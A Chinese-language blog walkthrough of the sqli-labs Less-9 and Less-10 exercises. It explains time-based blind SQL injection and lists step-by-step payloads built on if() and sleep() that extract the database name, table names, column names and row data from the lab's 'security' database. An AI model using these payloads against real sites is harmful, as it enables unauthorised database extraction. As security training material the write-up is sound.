B_roin

导航

sqli-labs less-9 --> less-10

 

时间盲注

    利用时间函数,观察不同条件的等待时长;利用sleep(),benchmark()等函数,让MySQL的执行时间变长

    时间盲注多于if这样的函数结合(ifexpr1expr2expr3expr1true,则返回expr2,否则返回expr3的值)

             If (length(database())>3,sleep(5),1) 如果数据库字符长度大于三则MySQL休眠五秒,否则查询1

             1’ and If (substr(database(),1,1)=’d’,sleep(5),1)

                      (与布尔盲注基本相同

 

 --------------------------------------------------------------------------------------------------

 

Less-9(时间盲注)

1.首先判断是否存在注入点

 无论是执行?id=1还是?id=1还是其他,回显都显示正常,联想本题的题目,使用时间的长短来进行判断,执行?id=1’ and sleep(5) --+,发现较长时间才做反应,由此推断存在注入点

2.爆数据库长度

 执行?id=1’ and if(length(database())=8,sleep(5),1) --+ 判断数据库的长度是否为8

3.爆数据库名

 执行?id=1' and if(length(database())=8,sleep(5),1) --+   判断数据库长度

 执行?id=1’ and if(substr(database(),1,1)=’s’,sleep(5),1) --+  判断数据库名的第一个字符

 同布尔类型的盲注类似,通过尝试得到数据库的库名为security

4.爆表名

 爆第一个表的长度:

         执行?id=1’ and if(length(select table_name from information_schema.tables where table_schema=’security’ limit 0,1)=6,sleep(5),1) --+,但是报错了,再三检查感觉命令没有错,于是到网上搜寻了一下别人的命令发现

   执行?id=1’ and if(length((select table_name from information_schema.tables where table_schema=’security’ limit 0,1))=6,sleep(5),1) --+

                   (色块处是双括号与单括号的区别,经过尝试当使用select * from语法时都需要双括号)

 爆第一个表的名字

        执行?id=1’ and if(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1)=’e’,sleep(5),1) --+,由此得到第一个表的名字为emails,以此类推得到所有的表名

5.爆字段名

 爆第一个字段名的长度:

       执行?id=1’ and if(length((select column_name from information_schema.columns where table_name=’emails’ limit 0,1))=2,sleep(5),1) --+  得到长度为2

 爆第一个字段名:

       执行?id=1’ and if(substr((select column_name from information_schema.columns where table_name=’emails’ limit 0,1),1,1)=’i’,sleep(5),1) --+  执行正确,以此类推得到第一个字段名为id

6.爆数据

 执行?id=1’ and if(length((select id from emails limit 0,1))=1,sleep(5),1) --+ 得到第一行数据的长度为1

 执行?id=1’ and if(substr((select id from emails limit 0,1),1,1)=1,sleep(5),1) --+ 得到第一行数据为1,以此类推得到表id下的所有数据

 

-------------------------------------------------------END----------------------------------------------------------------

 

Less-10(时间盲注)

1.判断是否存在注入点

 经过尝试执行?id=1” and sleep(5) --+ 回显出现延迟,判断存在注入点,注入方式为:””

2.less-9方法完全相同

3.爆数据库

 爆长度:执行?id=1” and if(length(database())=8,sleep(5),1) --+

 爆数据库名:执行?id=1" and if(substr(database(),1,1)='s',sleep(5),1)--+

4.爆表

 爆长度:执行?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),1)--+

 爆表名:执行?id=1" and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+

5.爆字段

 爆长度:执行?id=1" and if(length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2,sleep(5),1)--+

 爆字段名:执行?id=1" and if(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='i',sleep(5),1)--+

6.爆数据

 爆长度:执行?id=1" and if(length((select id from emails limit 0,1))=1,sleep(5),1)--+

 爆数据:执行?id=1" and if(substr((select id from emails limit 0,1),1,1)=1,sleep(5),1)--+

 

-------------------------------------------------------END----------------------------------------------------------------

posted on 2020-02-11 21:49  B_roin  阅读(154)  评论(0编辑  收藏  举报